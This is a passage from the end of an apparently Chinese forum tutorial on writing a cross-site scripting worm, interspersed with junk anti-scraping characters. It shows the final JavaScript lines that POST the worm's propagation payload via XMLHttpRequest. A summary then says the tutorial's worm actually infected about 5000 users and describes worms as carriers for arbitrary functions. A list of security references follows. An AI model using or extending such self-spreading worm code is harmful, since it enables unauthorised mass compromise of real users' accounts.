7 d! J* h/ p' K; U4 q0 ^xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);                 //把传播的信息 POST出去.
4 f( l! L  z' h+ e
}
8 r) }# q3 j4 Z; s$ L7 r复制代码-----------------------------------------------------总结-------------------------------------------------------------------


" s7 f- a6 ?# _
本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.

2 w- D. W" \' E/ E8 K& R7 h



; _  E+ f8 C" w! I5 f0 ^1 w  G5 C
0 h6 U8 N0 u3 G$ c$ q% q8 z
5 j' X( N) g3 n) b, e
% x  }2 H$ L7 M% W2 C4 o本文引用文档资料:

! Z: n$ G. w9 _"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
* j- h4 C7 z  W5 Y% wOther XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
# j, R9 V4 x9 Uhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
) u9 q% T3 n8 o5 c( o6 `空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/